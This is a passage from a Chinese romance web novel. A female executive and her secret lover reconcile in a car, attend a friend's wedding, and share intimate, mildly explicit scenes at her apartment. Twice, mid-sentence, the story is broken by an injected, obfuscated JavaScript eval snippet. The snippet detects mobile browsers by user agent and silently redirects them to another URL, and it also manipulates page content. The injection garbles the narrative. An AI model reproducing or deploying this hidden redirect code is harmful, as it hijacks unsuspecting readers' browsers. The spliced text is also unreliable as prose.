“明天要和我一起走红地毯了,开心吗?”夜深人静,氛围难得,傅珺瑶很想跟他说点别的。 男人却下撇嘴角:“你身旁站的不是我。” 傅珺瑶没忍住,喉间泄出声嗤笑,凑上去啄了一下他的脸颊:“如果我身旁站的真是你,那也不用查什么了,说不定爷爷一生气,我这总经理的位置也别想要了,我们俩呢,更是直接老死不相往来。” 这话是实话。 沈述白没反驳,顿了会儿,又说:“那现在呢?现在只有我们,你还欠我一个答案。” “什么答案?”傅珺瑶一时没想到。 “你在意我吗?”他问出口。 傅珺瑶也瞬然想起,那个暴风雨来临前的中午,她还在畅想着他们约定的那场婚礼,还在计划着把心底的答案告诉他。 心脏蓦然泛起一阵抽疼。 她故意卖关子:“答案还不明显?” “可你说,你想听我说出来,所以我也想听你说出来。” “你不是也说过,爱不是说出来的?” 车厢内有长达数十秒的静默。 傅珺瑶被沈述白拉到后座的时候,心口冒出一丝冲劲。 那股冲劲里夹杂了太多的情绪。 兴奋、心痛、愉悦、期待、占有…… 最重要的,是那种陌生的、却无比清晰的对他的执着。 她的意识不知不觉和他关联,自此,所有难以控制的情绪,都和他相关。 一次次因为他胡思乱想,一次次出于本能地惦记他,一次次贪恋享受他的给予,一次次因为他而冲动。 倘若把这个他换成别人,她不能接受。 她只要是他,一定要是他。 或许,这就是爱情? 傅珺瑶想。 她和刚刚在包厢里一样,稳稳坐好。 俯身,再次吻上他。 昏暗的车厢内,窸窸窣窣的声音在耳边回荡。 他突然松开,仰头,褐眸中一片湿雾。 回应了她的那句话:“那就听你的。” “珺珺。” 傅珺瑶半垂着眸,气息不稳,耳膜被这两个字轻轻敲动,酥酥麻麻的。 “你叫得也太快了点。”她的手再次搭上他的耳垂。 男人却突然较劲:“就准林逸深叫,不准我叫?” “……这跟他有什么关系?”傅珺瑶觉得这醋完全没必要吃。 他的手托住她的腰:“你不是经常跟他聊天?他不是想邀请你品尝帕图斯?不是想跟你看夜景?” “……你偷看我手机消息?” “我光明正大看的。”他咬重‘光明正大’那几个字,有种刻意强调的味道。 “……” 傅珺瑶觉得这会不是谈论这个话题的时候,主动抓起他的手,嘴唇贴近他的指腹,轻轻一吻:“再等等,总有一天,你会是光明正大地站在我身边。” “那我一定会为了有那么一天,奋不顾身。”男人稍微停顿,语气笃定。 傅珺瑶笑了,又吻上他的指腹,朝他扫去一个意味深长的眼神,压低声音道:“我想先尝尝这个。” 他的手掌很大,手指很长,骨节分明,甲床看上去健康饱满,指甲也修剪得刚刚好。 沈述白双神稍稍闪躲,他的脸虽然没于黑暗中,傅珺瑶不怎么能看清,但能感觉到,他害羞了。 “我……没试过,不知道能不能做好。”他的声音微微下沉,语速有些快。 傅珺瑶勾唇:“试试不就知道了?沈总不是工科硕士?学习能力应该不差吧。” 沈述白深深地看了她一眼,继而托着她的腰,一个翻身,让她稳稳坐在座椅上。 她的真丝内衫留了些褶皱。 他半跪,俯身,温柔地吻上来。 她闭着眼享受。 等他取悦她。 那双手温热,隐隐发颤。 傅珺瑶慢慢沉溺。 沈述白突然开口:“你的心跳很快。” 傅珺瑶忽然羞窘:“不快才不正常吧?” 他又低头,亲了一口,声音微哑:“你摸摸我的心跳,也很快。” 她被他牵着手,掌心落入熟悉的触感时,她的脸颊猛地一热。 大脑慢慢混沌,傅珺瑶已经不清楚自己在说什么:“嗯…确实……” 他再次低头。 傅珺瑶眼前的昏暗跟着剧烈一抖。 他的气息好乱,他的脸好烫,他的鼻梁好高。 傅珺瑶抓紧了他的衬衫,另一只手伸进他的发丝。 他短暂抬眸,又再次低下。 她深吸了口气,已经不能顺畅地呼出去。 背后汗津津的,盘旋在他们之间的火星子愈发活跃,几乎要点燃这片昏黑。 傅珺瑶的热从脸瞬间蔓延到脖颈。 她突然后悔,实在害羞,想要中止。 可男人却不给她这个机会。 他的声音接近嘶哑:“我还没来得及学呢,傅总别剥夺我来之不易的机会啊。” “……” 他的手钳制着她,不打算放开。 覆在男人肩口的衬衫已经被蹂躏得不成样子。 “不难受吧?”很简单的四个字,男人说得很艰难。 傅珺瑶牙关紧咬,只轻轻摇头,也不管他能不能看清。 一丝凉意扫过,又很快便被潮湿的热扑散。 “这样行吗?”他问。 “……还行。” “那就是还能再行一点?” 说完,他得寸进尺。 傅珺瑶双眼迷蒙,眼前的昏黑颤得厉害。 “现在呢?”他又问。 “……行。” “那就是还能更行一点?”他再次得寸进尺。 “你……” 后面的话,傅珺瑶没能再说出口。 …… 一个小时后。 沈述白帮她收拾好。 他转身,拿了车里备着的湿纸巾,慢慢擦拭自己修长的手指。 “我的学习能力还不错吧?”他沉了口气,尾调轻扬。 傅珺瑶重新坐直身子,慢慢忽略掉身体里的那股酸意,清了清嗓道:“还行吧。” 男人轻笑:“第一次比较生疏,我尽量下次让傅总给我评个满意?” “……” 闷骚怪又回来了。 不过两秒,傅珺瑶的眸子又柔和几分,在昏暗中对上他的眸子。 闷骚就闷骚吧,比起闷骚,她更不想看到傅淮湛去接她的那天,他们两个人都哭得不成样子的画面。 沈述白的膝盖跪得有些疼,等坐上来,非让傅珺瑶给他揉揉。 傅珺瑶念在他服务质量比较好的份上,顺了他的意。 她动作还算轻,帮他慢慢揉膝盖,又突然想起件事:“你记得给我销账,今晚的吻…还有那三次。” 沈述白侧头望过来,语气正经得不能再正经:“那都不算的。” 傅珺瑶的动作停下,声音明显拉高:“怎么又不算了?!” 他一本正经:“首先,今晚的吻是被你的主观意识牵动的,我吻你,这也是我的主观意识,在车上的吻,是我们确认心意的一种表达方式,跟蜜饯这种客观事物自然扯不上半点关系;再者,这个次数,应该我们两个人同时,所以也不符合标准。” “……” 傅珺瑶语塞。 有些无语:“你真的是工科硕士吗?” 怎么这么会诡辩? 沈述白轻笑:“是工科硕士,但听我哥说我选修过西方哲学史。” “……” 怪不得跟她扯什么折衷主义。 她也不帮他揉膝盖了,没好气地催促他送她去别墅。 沈述白却不急,伸手,温柔地把她揽入怀中。 傅珺瑶刚想推开他,他的声音便抢先一步,溜进耳际:“珺珺。” 她已经听习惯了的称呼,被他叫出来,便能轻易撞进心口。 她应了声“嗯”。 “既然你决定选择我,我也不会退缩,但是你这一次,不要再像之前那样不顾一切地扔下我了,好吗?” 55. 27 这句话像是跟圆钝的刺,慢慢穿进她心口。 那种痛来得迟钝又绵长,傅珺瑶靠在他肩头,一动不动。 空气里残留的暧昧和火星子几乎瞬间消散,傅珺瑶下意识回想起那天。 “你知道你这样多恶心么?” “你是非不分,就是恶心!” “跟你在一起的这段荒唐日子,更让我感觉恶心至极!” 她的眼珠微微转动,落在他平静起伏的胸廓。蓦地,她伸手,手掌按在他的左胸口。 一下一下,他的心脏隔着胸壁撞在她的掌心。 那个时候对她来说,是幻梦破碎的临界点,是他隐瞒之下的慌乱和不安,是傅淮湛和爷爷的精神压迫。 她当时没能冷静,没能把问题更好地解决。 傅珺瑶的双神暗了暗,只一瞬,又重新恢复原状。 没关系,那都是已经发生的事了,她没必要再纠结,只要现在,她能解决好眼前的事,她就还是她,他们就还是他们。 “沈述白,你信我吗?”傅珺瑶的手掌在他心口慢慢摩挲,只问了这么一句。 他低头,目光沉沉,毫不犹豫:“我信。” 傅珺瑶稍微仰头,两颗漆黑的眼珠被轻轻灼了一下,眸光闪烁。 她停顿片刻,身体贴紧他,目光直勾勾地将他的视线侵占,主动开口:“沈述白,我答应你,不管怎样,我都不会再不顾一切地抛下你,江云没能做到的,傅珺瑶一定会做到。” 他的气息瞬间灼热,双臂收紧,把她按进怀中。多余的话,已经不用再说。 身体纠缠,气息混杂,两人抱了好一会儿,沈述白才不舍地松开她。 “你不要叫我的全名,太生疏了。”沈述白突然说。 傅珺瑶耸耸肩,不以为然:“哪里生疏了?不是挺好的吗?” “不好,就是很生疏,一般关系亲密的人都会叫得亲昵些。”他强烈反驳。 “……你以为谁都跟你一样自来熟?”傅珺瑶稍稍无语,她是觉得昵称这种东西得慢慢适应,况且一个名号而已,重要的不是怎么叫,而是从什么人嘴里叫出来。 闷骚怪又开始耍赖:“我哪里自来熟了?我只跟你熟,你的心,你的思想,还有…你的身体。” 他的声音越来越低,越来越暧昧。 傅珺瑶耳根一热。 身体里的那股劲已经过了,她用力甩去脑子里那些乱七八糟的画面。 闷骚怪却持续发力,抬起手,手指在她面前晃了晃,嘴边漫出声:“嗯?” “……” 傅珺瑶脸上火辣辣的烫,迅速按下他的手:“述述?白白?述白?你想听哪个?” 男人笑了声,反问:“你喜欢哪个?” “述述?”傅珺瑶侧头,说完自己又觉得肉麻不得劲,猛地摇头:“听着好奇怪。” “……” “白白?那不就是那条狗……对了!”傅珺瑶突然坐直身子:“我们没把白白带回来!” “我带回来了,它在我家,有机会带你去见它。”沈述白解释。 傅珺瑶眸中闪过一丝惊喜,兴奋地挪近:“真的?你带回来了?!” 沈述白点头,伸手拨弄她的发丝,手掌顺势后延,托着她的颊侧,慢慢开口,温柔的嗓音里夹杂着一丝涩味:“除了白白,还有尤克里里,还有我们的西装、那两套礼服、装海水的定情信物,还有当时拍的那些照片,我都带回来了。” 傅珺瑶上扬的嘴唇慢慢平了下来。 他声音里的涩味透过空气涌入她的鼻腔,再次爬进心脏。 “你都带回来,不怕触景生情?”傅珺瑶咽了咽喉,往下压着心口的涩。 黑暗中,男人的轮廓越来越清晰。 他垂眸,捏着她的手,五指主动嵌入她的指缝,微微凸出的喉结滚了滚,回答:“我不想让那段时光,什么都没有剩下,那对我来说,是我真心付出感情的、无可替代的、一点都不荒唐的时光。” 傅珺瑶的眉心蹙起,心脏上盘绕的神经像是在互相牵扯,泛着一抽一抽的疼。 真心付出感情的。 无可替代的。 一点都不荒唐的。 她当初说的那些话,他很在意。 她深深地望着他,意识和理智交织缠乱,理智不再是抵达失控的状态,反而主动融进意识,随之而来的,攀升的情愫也不再是虚无缥缈的,越来越清晰。 “我明白了。”傅珺瑶用这四个字回应。 然后轻唤:“述述。” 捏着她手的力度瞬间收紧。 四目相对,缱绻的丝线还没来得及伸延出来,一通电话不合时宜地凑了进来。 傅珺瑶去包里掏了手机,却在看到备注之后,脸色微沉。 她让身边的男人别说话,才不紧不慢地接起来:“哥。” 傅淮湛的声音虽然不算大,但在封闭的车厢内,还是清晰可闻。 “珺珺,你现在是在清漪那儿?” “是。”傅珺瑶面不改色,瞬间明白他这通电话的目的。 而傅淮湛也丝毫没让她‘失望’:“你当伴娘的事我知道,我听说沈述白也去当伴郎了?” 傅珺瑶声音平淡:“你放心,我心里有数,这事也提前跟爷爷说过,况且你应该知道,林逸深也在。” 那头像是松了口气,声音没那么冷肃:“那就好,珺珺,你可得多想想爷爷,千万不要再任性了。” 傅珺瑶眉头紧了紧,随口附和两句,匆匆结束。 车厢内有短暂的静默。 沈述白主动问:“有用得到我的地方吗?” 傅珺瑶收了手机,摇头,语气沉敛:“暂时没有,时间不早了,送我回去?” 沈述白不再多说,嗯了声。 两人从后座回到前面,傅珺瑶理好身上的西装,两颗扣子一丝不苟地扣好。 车重新汇入主路,眼前亮起暖黄的灯光,侧方一轮弦月静谧悬挂,安分地俯视着来往的车辆和行人。 傅珺瑶想起什么,双神略微认真,语气里融进几分严肃道:“明天的婚礼,清漪请了几家风评还不错的媒体,你家人那边,没什么问题吧?” 沈述白低低嗯了声:“提前说过,没问题。” 傅珺瑶松了口气,点头:“不过暂时在其他人面前还是得保持原状,一切谨慎为先。” “明白。” …… 沈述白送完傅珺瑶回来,车停在别墅门口,没急着进去。 车厢内,发动机早已熄火,他就那么静静靠在座椅上,双眸轻垂,手里还拿着属于他的玻璃瓶。 海水和沙砾在那一小块空间里相互纠缠,你中有我,我中有你,怎么都无法分开。 他把玻璃瓶捏紧,头稍稍后仰,闭上眼,喉间挤出声轻哼。 良久,他的指腹摁在唇中,左右摩挲,大脑主动回想她吻过来的感觉。 唇边的弧度慢慢加深。 他深吸了口气,气管微微发颤,融进了车厢内有些潮湿的凉意,他想起江渔村的那个夜晚,她昏迷不醒时,从窗口飘进来的带着海咸味的潮湿卷进心底的感觉。 眼眶轻轻发热,他的气息有短暂的停滞,又慢慢把那团气吐了出来。 “沈述白,我答应你,不管怎样,我都不会再不顾一切地抛下你。” 真好。 沈述白在车里坐了好一会儿,正准备下车进别墅,手机突然震了两下。 他点进去,看到傅珺瑶给他发的那条消息,双瞳一缩,眉头瞬间紧锁。 …… 沈述白刚进别墅,阿姨帮他拿了新的拖鞋,说许远舟他们都在二楼准备红包。 他点了点头,直奔楼梯口,却在走到一半,脚步顿停。 他转头,林逸深正在餐厅倒水。 两道视线不偏不倚撞上。 沈述白很快收回目光,没打算说话。 两条腿刚准备往前迈,林逸深蓦然开口:“沈总回来得这么晚?” 沈述白再次停下。 他面不改色,温和的语气里带着若有似无的疏离感:“有点要紧的事,林总有事找我?” 林逸深放下手中的玻璃杯,沉默两秒,眉眼弯起笑笑,摇头:“没事,只是以为沈总是身体不舒服,毕竟晚餐那会沈总出去了好久。” 沈述白眼皮往上抬了抬,语气不改:“是有点不舒服,不过没什么大碍。” 林逸深嘴边的笑意更深,意味深长地说了句:“没事就好。” 沈述白淡淡嗯了声,道:“多谢关心,我先上去了。” 说完,不紧不慢侧身,匀速往楼梯口走,眼珠轻轻往后转,却始终没回头。 …… 傅珺瑶是凌晨五点被顾清漪拉起来的。 “珺珺,起来先吃早餐,吃完化妆。” 傅珺瑶双眼迷蒙,大脑还有些混沌,强撑着站在洗漱台前,手掌把头发往后一拨,脸颊微微发红。 她轻轻拍了拍脸,迅速拿了牙刷送进嘴,低下头,避开镜中自己的视线。 她梦到昨晚在车上的画面了。 车后座,他半跪在她跟前…… 傅珺瑶差点被嘴里的泡沫呛到。 强力晃了晃脑,把那些画面甩出去,她今天还有正事。 天光渐亮,太阳从稀疏的云层后探头,似乎感受到了别墅里渐起的热闹,金色的光线愈发耀眼。 顾清漪已经换好秀禾服,简单的丸子头上戴着专门打造的黄金发髻,几朵红玫瑰在旁侧做陪衬。 傅珺瑶和其他伴娘开始帮她挂金镯。 “好重啊。”顾清漪说这话时,脖颈上被挂了两串长长的金镯,从胸口到下腹,正胸前还有一串金猪,秀禾服被耀眼的黄金挡住大半。 傅珺瑶继续帮她戴手腕上的金镯,说:“这都是门面来的,而且这亮澄澄的黄金,多悦目,嗯?” “是啊清漪,这都是阿姨和叔叔给你撑的场子,多好看?”路婧把金戒指拿过来,给她戴上。 左手等着戴婚戒,金戒指全在右手,拇指没戴,其他的手指各戴两枚。 顾清漪呼了口气,抬手看了眼,笑道:“结婚也就这点好,超过五斤的五金,还有数不清的不动产红本本,都是我的了,想想就美妙!” 另一个伴娘把金扇子递给她,打趣道:“你这么说咱们许医生可要伤心了。” 顾清漪不以为意:“没事,他也是我的,他这人没什么优点,就是好哄。” 房间里一阵哄笑。 别墅外礼炮齐鸣,许远舟他们到了。 路婧她们赶快锁好房门,傅珺瑶站在顾清漪身边,帮她藏好婚鞋。 摄影师也在一边摆好机位,镜头对准顾清漪。 房间门在一串哄闹声中被敲响。 路婧顶在门口,朝着顾清漪一笑,又对门外喊:“许医生,想要见新娘,得先拿出足够的诚意哦!” 门外的声音很快传进来,许远舟听上去完全是有备而来:“你把门开条缝,绝对管够!” 路婧再次看过顾清漪,把门开了一点,紧随而至的,是数十封红包。 很薄,但路婧摸出来,里面全都是放的卡。 “每张卡最低额数十万,怎样,这个诚意够了吗?”许远舟手握捧花,迫不及待的要见心爱的女人。 路婧和伴娘团后退,把路让出来,仔细捯饬过的许远舟和伴郎团同时进门。 傅珺瑶盯着门口,很快看到惦记的人。 他的头发又梳上去了,一双温和的眉眼低调地融在人群中,只有黑色耳钉稍稍抢眼。 她和那人的目光短暂交汇,又不动声色移开。 她守在顾清漪身边,看着路婧拿出准备好的一些小‘坎坷’,让许远舟一一完成。 几十平的大房间里又闹又笑。 许远舟站在趾压板上大叫着跳完23下跳绳,2月3号,是他和顾清漪确定关系的日子。 然后是伴娘团准备的几个快问快答。 “你们第一次的约会地点是在哪里?” “澍水湾!” “你们第一次牵手和接吻的时间?” “2017年1月7号和2017年3月4号!” “清漪最大的愿望是?” “在35岁之前奋力工作然后去环游世界!” …… …… 诸如此类。 许远舟几乎不用思考,脱口而出。 傅珺瑶在一旁听得稍微出神。 蓦然想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17215032|193223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起在江渔村的时候,沈述白跟她说,不记得过去,那就过别的纪念日,比如他们第一次牵手的日子、他第一次给她做饭的日子、他们第一次拥抱的日子…… “我们就在这里办一场有特色的婚礼,哪怕只有我们两个人。” 傅珺瑶无声抿了抿唇。 果然,触景…就容易生情。 婚礼。 以后或许也会有一场婚礼,是属于傅珺瑶和沈述白的。 也许那个时候,他们之间的阻碍全部消失,恒璟和启行回到二十多年前的交好盛况? 而他们,能够光明正大地并肩。 傅珺瑶的视线再次往面前的人群中偏移。 他就站在许远舟身后。 眸光不偏不倚交接,他的唇角上扬,弧度又迅速平下去。 心口一软。 她垂眸看向满面容光的顾清漪。 他们一定会有那么一天的。 许远舟总算突破重重险阻,抱着捧花,单膝跪地:“老婆,我爱你!嫁给我吧!” …… 从接亲到给两家父母敬酒,到最后合完照,傅珺瑶才发觉结婚是个体力活。 一行人终于从别墅转战,去了酒店。 顾清漪在休息室里换下秀禾服,穿上那套主纱,等着仪式开始。 傅珺瑶也得了点休息时间,在换衣服前,去了趟洗手间。 刚到走廊,林逸深迎面走来。 他弯眉,双神被头顶暖黄的灯光浸透,温润亲和:“珺珺,累不累?” 傅珺瑶的声音不咸不淡,摇头道:“还好。” 林逸深抬手,把握在掌心的电解质水递给她:“今天应该没什么时间吃东西,先补补液,省得难受。” 傅珺瑶垂眸看了眼,略微迟疑,可林逸深的手又往前送了送。 傅珺瑶抿唇,还是收下,客气道了声:“谢谢。” 话音刚落,林逸深陡然扬起下巴,看向傅珺瑶身后。 “沈总。” 傅珺瑶微愣。 捏紧手里的水。 沈述白的声音跟着那股她再熟悉不过的清冽的味道一齐往前钻:“林总很贴心啊。” 语气倒是没什么起伏,不过稍稍有些冷。 傅珺瑶暂时没动。 只听到林逸深轻轻哼笑,应声道:“哪有?我和珺珺都是这么多年的朋友,正常的关心而已。” 身侧的温度突然一沉。 傅珺瑶也没看他,直接侧身:“多谢你的水,我先走了。” 林逸深柔和笑笑,点头。 傅珺瑶继续往前走,身后的声音和脚步都愈渐远去。 她暂时松了口气。 等她往回走,直奔顾清漪的休息室时,走到一半,手腕突然被人拉住。 傅珺瑶猛然一惊。 眼前骤然恍惚,等回神,她人已经被沈述白拉进一间小休息室。 室内光线昏暗,什么都看不太清。 她不安的心跳被他融进鼻腔的气息抚平,傅珺瑶轻啧了声:“能不能安分点儿?别被人发现。” 沈述白两只胳膊牢牢扣紧她的腰,没有给她留一点脱身的余地,先解释:“我看过了,没人。” “那也得安分点儿,还没到时候呢。”傅珺瑶语气虽然稍稍不满,但到底没推开他。 沈述白忽然俯身,嘴唇轻轻啄了一下她的唇。 把刚才在走廊没放出来的酸味尽数发泄:“林逸深给的水就那么好?” “……” 傅珺瑶瘪了瘪唇,就猜到他是为这事来的。 她抬手,指腹亲昵地落在他的耳垂,揉捏他的耳钉:“你怎么连这醋都吃?一瓶水而已。” 他不回答,只从她手里抽出那瓶水,又不知道从哪摸出来一个保温杯,让她牢牢抓稳。 “少喝冷的,这是热的蜂蜜水,比较容易有饱腹感,也能让你昨晚喝的酒赶快代谢完。” 傅珺瑶心口一暖,保温杯的铝合外壳在手里温度疾速攀升。 “我身体挺好的,不用这么养生。” 她的本意是让他不用担心,但扫向她的眸光在昏暗中迅速凛起。 他的声音稍稍严肃:“才停药,距离重伤醒过来还没有很久,就得这么养生,不要再喝酒了,一滴都不行!” 傅珺瑶头一回听到他这种语气,严肃得像是快生气般。 她盯着那双眸子,有片刻的怔忪,心口的暖意更甚。 空出来的手去环住他的腰,语气跟着柔和几分:“好了好了,我不喝。” 似是觉得不够,她又主动往前,去亲了一下他的唇。 褐眸重新软下来。 “别吃醋了,等婚礼结束……我想很多事情就能迎刃而解了。” 傅珺瑶沉吟片刻,意味深长地说了这么一句。 沈述白没反驳,嗯了声。 两人没打算久留,准备离开,傅珺瑶先出去,沈述白在里头等了五分钟,才跟着出去。 …… 一行人在休息室门口会面。 林逸深主动过来找了傅珺瑶。 “珺珺。” 傅珺瑶轻轻点头,算是回应。 眸光在他微沉的脸色上多停了几秒,又收了回去。 仪式开始。 庄严紧合的大门一松,亮白的灯光奔涌泄出,明晃晃地照过来。 傅珺瑶他们跟在顾清漪和许远舟身后,越过一尘不染的地毯,走到宴会厅的目光焦点位。 她听着他们互诉誓言,亲手为他们送上戒指,又看着双方父母上台致词。 台下的所有人,都在为他们欢呼、祝福。 傅珺瑶双手交叠置于前腹,唇角弯起很浅的弧度,双目不经意瞥向另一侧,瞬时的交汇之后,她挪回目光,唇角的弧度加深了些。 …… 几乎累了一天,从晚宴到闹洞房,傅珺瑶最后都快累趴了。 顾清漪安排人送她回了公寓,她也没跟沈述白见面,只简单发了消息过后,便再没说什么。 傅珺瑶快速卸妆、洗漱,几乎沾床就睡。 隔天一早,她看到推送到手机上的新闻。 #傅珺瑶和沈述白同时出席婚礼 #傅沈两家关系疑似和缓 56. 01 新闻的讨论度不算高,但也不是掀不起水花的那种。 傅珺瑶面不改色点进去,看到新闻里附上的照片: 顾清漪和许远舟正交换戒指,她和沈述白分站两侧。 一个简单的同框而已。 傅珺瑶大致扫了眼内容,直接退出去,给微信置顶的人发了消息过去。 傅珺瑶:【东西还得等几天到。】 没多久,那头回复:【嗯,不急。】 又接着道:【今天有空吗?想见你。】 傅珺瑶一条腿弓起来,蹬在身下的凳子,眼眸轻眯:【你猜?】 那头没了回复。 傅珺瑶勾了勾唇,手机熄屏,打算上楼。 人刚站起来,电话铃声就急匆匆扰乱屋子里的宁静。 屏幕上“哥”那个字像是一只深凛的眸子,冷冷地盯着她。 傅珺瑶嘴唇轻瘪,还是接起。 “怎么了?”她的声音很低,隐隐不耐。 傅淮湛也没绕弯子:“珺珺,新闻你找人解决了吗?” 傅珺瑶左手抬起,拇指和食指绕圈摩挲,她像是无所谓般:“没什么好解决的,无关紧要的讨论而已。” 那头却明显不赞同,声音沉了沉:“这让爸妈和爷爷看到怎么想?你不怕爷爷怀疑?!” 傅珺瑶摩挲的手指停下,拿着手机往楼上走:“怀疑什么?我都提前报备过了,还需要怕什么?” “……” 傅淮湛默然两秒,语气稍微和缓:“我的意思是,谨慎一点比较好。” “我心里有数,不过你如果担心,不如你回来解决?”傅珺瑶把手机放在桌上,不紧不慢地拿起水乳往脸上抹。 那头再次沉默,片刻之后,语气彻底平缓:“我不担心,珺珺,我相信你,你比我有天赋,你肯定能做好。” “今天好好休息吧,我不打扰你了。”傅淮湛像是逃窜般,话语飞速从嘴边溜出。通话结束。 傅珺瑶手里的动作还在继续,镜中的眸子下瞥,又回挪。 唇边落得声低笑,瞬间被房间里的冷气包裹,隐隐栗骨。 捯饬完脸,她正打算进衣帽间,楼下的门铃响了。 她稍稍一愣,侧身瞥了眼门口,眼珠轻转,阶梯渐渐被甩在快速交替的脚步后。 动作没有任何停顿,开了门,迎面撞上那双深褐色的眼眸。 漆黑的双瞳微缩,她侧身,语气还算稳当:“你速度也太快了点儿。” 略微上扬的尾音不太能藏住。 沈述白毫无顾忌伸手,牢牢圈住她的腰,黏在她身上换了鞋,腰身轻俯,下巴搁在她肩窝。 声音黏黏糊糊:“想你了。” “昨天才见过。”傅珺瑶也没挣脱。 沈述白又侧头,在她脸颊上亲了下:“那不一样,公开场合,根本不够,而且现在…不是更有把握了?” 傅珺瑶没反驳。 沈述白猛地吸了口气,又把热气全洒在她脸上:“好香。” 傅珺瑶脖颈有些痒,本能地缩了缩,说刚刚抹了水乳。 “亲一下。” 沈述白正凑过来,她往后一躲。 “……?” 沈述白盯着她,一动不动。 “先说好,这次算蜜饯吻。”傅珺瑶长记性了。 沈述白褐眸微闪,语气轻散,像是来去自如的风,想飘到哪里就飘到哪里:“行,反正你还欠我237个。” 傅珺瑶心口一紧,悸动还没来得及蔓延,就被这个数字压了回去。 她双眸瞪大,语气错愕:“237?!你又耍赖!” 他诡辩:“那天给你的那一罐蜜饯里有166个,我没耍赖。” 她辩驳:“那是你主动送的,不是我要的!” 他轻笑:“是你说想吃,我说过条件不变的嘛,傅总玩不起?” “……” 语塞的那几秒,他的唇已经覆上来。 等傅珺瑶在沙发上快要喘不过气来,沈述白终于心满意足地松开她。 她的胸廓迅速起伏着,从微朦的水雾中睨向那人。 闷骚这一块,她还得多练练,不然真比不过这位快成精的闷骚怪。 “吃早餐没?我去给你做?”男人突然问。 傅珺瑶摇摇头,胸廓起伏的频率慢了些:“我要吃你上次做的甜粥。” 沈述白点头,很快进了厨房。 傅珺瑶在沙发上瘫着歇了会儿,享受难得的安宁时光。她换了边靠,从这个角度,恰好能看到厨房里的男人忙碌的身影。 突然想到件事。 快速起身,走到他身后,明显困惑:“你怎么知道我公寓的位置的?上次送我回来也是,我的私人信息保密程度还是很高的吧?” 沈述白手上的动作没停,神色泰然:“想知道,就总有办法知道。” 他的话太故弄玄虚。 傅珺瑶隐隐不满,靠在料理台边:“你用什么非正常手段了?” 沈述白浅笑,不搭话。 傅珺瑶心里也门清,不再追问。 反正也不重要了。 烈阳高升,金澄的光线透过紧闭的落地窗洒在客厅的地板上,融合了屋内的少许凉气,暖洋洋的。 傅珺瑶心无旁骛地喝着碗里的甜粥。 沈述白突然问了一嘴:“你之前去启行找我,是想跟我合作?” 傅珺瑶慢悠悠抬眼,手上的动作没停,很快反应他说的是失忆前,也是新闻上他们两人‘大打出手’的那张照片。 “我问过聂秘书,当时的选择方案里,苏氏和林氏是备选,启行是最优选,前两个被我pass了。” “那你们最后选择的是林氏还是苏氏?” “苏氏,是爷爷的意思。” 沈述白不再说话。 傅珺瑶又往嘴里送了两口粥,吃到一半,骤然抬眼:“你的意思是……” 四目相对。 那双褐眸微微凛起。 “你觉得呢?这一切,是不是好像——” 沈述白的尾音拖长。 “能串起来了?” …… 沈述白在傅珺瑶的公寓里待到下午。 中午他买了新鲜的食材,做了几道傅珺瑶爱吃的菜。 两人休息日也没有一直聊工作,大部分时间都是腻在一起。 尤其是午饭之后…… 沈述白美其名曰要睡午觉,死皮赖脸地拉着傅珺瑶去了房间。 刚躺上床,手就开始不老实。 傅珺瑶伸手去挡,却没使全力。 “你不是说睡觉?” 沈述白从背后吻着她的耳颈,声音低哑,揉进细碎的光线,拖出让人发软的暧昧:“是啊,睡觉。” 他刻意咬重了‘睡’字。 “……” 傅珺瑶脖颈缩了缩,手上的力道瞬时全消,只轻轻搭在他的手臂。 胸口越来越热。 他的五指紧紧嵌入。 指腹甚至偷奸耍滑,狠狠捉弄她。 “你……”傅珺瑶耳根发烫,喉间被攀升的热气阻挡,声音难以发出。 身后的人气息也重了几分。 “要不要再给我个学习的机会?” 傅珺瑶没答应,也没拒绝。 沈述白很快会意。 手掌贴着她的小腹。 一点一点。 后背感受到他愈发强烈的心跳。 很重、很重。 “这个学习环境挺不错的,嗯?”他的声音颤得厉害。 傅珺瑶双 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17220185|193223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颊火辣辣的发烫,肌肤上沁出一层薄薄的汗。 “闷骚怪……”她低声咬出这几个字。 那人浅哼一声,“只对你这样。” “……” 薄薄的清凉被再难往两人身上传送凉意。 被子里的温度越来越高。 “怎么样,我的学习能力有提升吗?” “没…没感受出来……”傅珺瑶轻咬着牙,掌心的汗一阵接着一阵。 “那这样呢?” 傅珺瑶倒吸口凉气。 “你!” 后面的话说不出口。 “我是个好学的人,而且交给傅总的东西,我也不敢怠慢啊。”说完,他的唇在耳根浅啄了一下。 “……” “轻不轻?” “可以了……” “那就是还没到优秀的程度?” 力道加重。 “……” 傅珺瑶干脆闭嘴不说话了。 可沈述白明显没有就此作罢的意思。 动作停下。 “学习是需要鼓励的,没有激励,哪里来的动力?” “沈述白你!”傅珺瑶上手去掐他。 “不是叫我述述吗?” “好肉麻……” “那叫老公也可以,反正……这辈子,我只要你。” 挣扎的动作停下。 傅珺瑶半眯的眼眸睁开。 她回头,目光迫切寻求他的眸子。 几秒钟的对视,傅珺瑶也顾不上其他,转过身,和他面对面。 相顾无言。 她伸手出去,牢牢地攀紧他的脖颈,直接吻上去。 理智彻底断了线,一切都乱了。 …… 两个小时后,傅珺瑶好不容易平复下来,大脑还昏昏胀胀的。 只觉得一切都太过刺激。 虽然他们还没做到最后一步,但也差不多了。 “等我们恢复记忆,那些蜜饯,我要切切实实的讨回来。”沈述白把她抱在怀里,声音还带着没完全平复下来的轻抖。 